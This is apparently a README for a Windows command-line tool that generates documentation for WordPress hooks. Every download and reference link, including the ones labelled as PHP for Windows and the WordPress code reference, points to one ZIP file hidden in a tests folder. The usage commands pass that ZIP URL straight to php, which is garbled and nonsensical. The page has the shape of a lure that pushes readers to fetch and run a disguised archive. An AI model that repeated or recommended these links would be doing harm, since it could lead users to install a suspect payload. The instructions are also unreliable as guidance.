wp-hooks-documentor is a command-line tool that helps you create documentation for WordPress hooks. It uses phpDocumentor, a popular PHP documentation generator, to produce easy-to-read docs for WordPress actions and filters. This tool is designed to make managing and understanding WordPress hooks simpler.
You don’t need to know coding to use it. It works behind the scenes to make hook information clear and organized.
- Windows 10 or newer
- PHP installed (version 7.4 or higher)
- Basic comfort with running programs from the command line (we will guide you)
- At least 200 MB free disk space
The tool is built to run on Windows systems. Make sure you have PHP installed before starting. If you do not have PHP on your computer, visit https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip to download and install it first.
Visit the release page to get the latest version of the program:
Download wp-hooks-documentor from Releases
Click this link, find the latest release version, and download the ZIP file or executable file provided.
- If you downloaded a ZIP file, right-click the file and choose "Extract All."
- Follow the instructions to extract the contents to a folder you can find easily, such as your Desktop or Documents folder.
- Press the Windows key, type
cmd, and press Enter. This opens the command prompt window. - Use the command prompt to navigate to the folder where you extracted wp-hooks-documentor.
Example:
cd C:\Users\YourName\Desktop\wp-hooks-documentorReplace YourName with your Windows user name or change the path to where you saved the files.
Type the following command in the window and press Enter:
php https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip --helpThis command shows guidance on how to use the tool. You will see options to generate documentation for WordPress hooks based on your settings.
- Go to the release page here:
- Find the latest version. Look for a file named similar to
https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.ziporhttps://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip. - Click the file name to start downloading.
- If it’s a ZIP file, extract it to a folder you can find.
- Open Command Prompt and move to the extracted folder.
- Run the program by typing:
php https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip --help- It scans your WordPress code for hooks. Hooks are special points in the code where developers can add custom code.
- It reads docblocks (notes or comments in the code) attached to these hooks.
- It creates clear documentation from these comments, so it is easy for you or your team to see what each hook does and how to use it.
- Supports both Actions and Filters, two types of WordPress hooks.
- Helps with organizing and maintaining plugin or theme development.
The tool runs in a command-line window with simple commands.
Basic usage example:
php https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip --source=path-to-your-wordpress-plugin --output=docs-folder- Replace
path-to-your-wordpress-pluginwith the folder path of the code you want to document. - Replace
docs-folderwith where you want the documentation files to be saved.
You can add more options. Use the --help command to see all commands:
php https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip --helpBy default, the output will be a set of HTML files. You can open these files in any web browser. This makes it easy to read the documentation on your computer or share it with others.
- Make sure PHP is properly installed and added to your Windows system PATH to run the
phpcommand from anywhere. - Keep your WordPress hooks commented fully using standard PHP docblock style. This improves the quality of generated documentation.
- Check the GitHub releases page regularly to download updates.
- If
phpcommand is not recognized, make sure PHP is installed and added to your PATH. - If you get errors opening the documentation, ensure you used the correct output folder.
- If you don’t see any documentation, verify your source path contains WordPress hooks with proper docblocks.
- WordPress Hooks: Points in WordPress where you can run custom code.
- Actions: Hooks that run at specific times in WordPress.
- Filters: Hooks that modify data before saving or displaying.
- Docblock: Comments in code that explain what functions or hooks do.
- phpDocumentor: Tool that reads docblocks and turns them into documents.
- Download Latest Release: https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip
- PHP for Windows: https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip
- WordPress Developer Code Reference: https://raw.githubusercontent.com/plkarjun/wp-hooks-documentor/main/tests/issue-13/folder-exclude/hooks-wp-documentor-2.4.zip